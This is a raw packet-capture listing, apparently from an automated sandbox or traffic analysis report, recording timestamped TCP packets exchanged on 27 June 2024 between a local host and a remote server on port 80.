Jun 27, 2024 07:37:15.985116959 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.985129118 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.985140085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.985146999 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.985152006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.985162973 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.985171080 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.985203981 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.985373020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.985383987 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.985394001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.985411882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.985414028 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.985424042 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.985435009 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.985441923 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.985447884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.985464096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.985469103 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.985475063 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.985483885 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.985483885 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.985502005 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.985533953 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.986068010 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.986079931 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.986089945 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.986102104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.986112118 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.986115932 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.986123085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.986134052 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.986135006 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.986146927 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.986146927 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.986157894 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.986167908 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.986175060 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.986179113 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.986190081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.986200094 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.986202002 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.986212969 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.986217022 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.986224890 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.986237049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.986242056 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.986251116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.986268044 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.986287117 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.986787081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.986798048 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.986812115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.986824036 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.986831903 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.986834049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.986851931 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.986862898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.986871004 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.986872911 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.986885071 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.986886024 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.986891031 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.986901045 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.986932993 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.987098932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.987112999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.987139940 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.987164974 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.987323999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.987334967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.987345934 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.987359047 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.987370014 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.987373114 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.987381935 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.987391949 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.987402916 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.987404108 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.987413883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.987421036 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.987422943 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.987436056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.987446070 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.987447023 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.987457991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.987464905 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.987469912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.987487078 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.987493992 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.987499952 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.987510920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.987519026 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.987521887 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.987545013 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.987569094 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.988312006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.988327980 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.988341093 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.988352060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.988360882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.988367081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.988373041 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.988378048 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.988383055 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.988388062 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.988388062 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.988394022 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.988404989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.988413095 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.988415956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.988423109 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.988426924 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.988439083 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.988451004 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.988461018 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.988461971 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.988472939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.988478899 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.988488913 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.988502979 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.988527060 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.988581896 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.988620996 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.989192963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.989208937 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.989218950 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.989229918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.989240885 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.989247084 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.989252090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.989263058 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.989273071 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.989273071 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.989284039 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.989291906 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.989295006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.989305973 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.989312887 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.989315987 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.989326000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.989332914 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.989341974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.989350080 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.989351988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.989355087 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.989357948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.989368916 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.989398003 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.071321964 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.071348906 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.071360111 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.071444988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.071458101 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.071465015 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.071469069 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.071480989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.071521997 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.071544886 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.071696043 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.071706057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.071717024 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.071727991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.071737051 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.071738958 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.071748972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.071759939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.071770906 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.071783066 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.071787119 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.071810961 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.071830034 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.072002888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.072041035 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.072101116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.072112083 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.072124004 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.072134018 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.072135925 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.072144032 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.072154999 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.072168112 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.072201967 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.072362900 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.072379112 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.072385073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.072386980 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.072390079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.072401047 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.072402954 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.072407007 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.072423935 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.072465897 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.072585106 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.072623014 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.072690964 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.072700977 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.072714090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.072715998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.072725058 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.072727919 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.072731018 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.072748899 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.072750092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.072761059 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.072772026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.072777987 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.072782040 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.072792053 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.072797060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.072805882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.072817087 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.072824001 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.072825909 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.072837114 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.072849035 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.072853088 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.072860956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.072871923 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.072890043 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.072925091 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.073407888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.073417902 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.073426962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.073437929 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.073447943 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.073456049 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.073457956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.073463917 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.073477030 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.073486090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.073493004 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.073502064 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.073503017 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.073515892 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.073519945 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.073530912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.073539019 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.073540926 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.073551893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.073563099 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.073563099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.073574066 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.073584080 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.073594093 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.073604107 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.073610067 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.073615074 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.073621988 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.073626041 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.073647022 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.073662043 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.074496984 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.074507952 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.074517965 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.074531078 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.074541092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.074543953 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.074552059 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.074563026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.074570894 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.074570894 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.074575901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.074589014 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.074599981 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.074603081 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.074611902 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.074623108 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.074625015 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.074635983 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.074637890 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.074646950 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.074661016 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.074661016 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.074691057 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.074708939 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.074992895 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.075004101 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.075015068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.075026989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.075037003 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.075037003 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.075048923 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.075077057 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.075104952 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.075114965 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.075124025 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.075134039 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.075145006 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.075145006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.075155020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.075165033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.075174093 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.075176954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.075186968 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.075197935 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.075198889 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.075208902 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.075215101 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.075237989 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.075248003 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.075814009 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.075830936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.075840950 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.075850964 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.075858116 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.075861931 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.075874090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.075881004 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.075885057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.075896025 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.075906038 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.075913906 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.075916052 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.075927019 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.075928926 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.075936079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.075948000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.075954914 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.075958967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.075963974 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.075968981 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.075979948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.075984955 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.075989962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.076001883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.076013088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.076013088 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.076040983 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.076050043 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.076548100 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.076560020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.076592922 CEST	49705	80	192.168.2.5	85.28.47.4
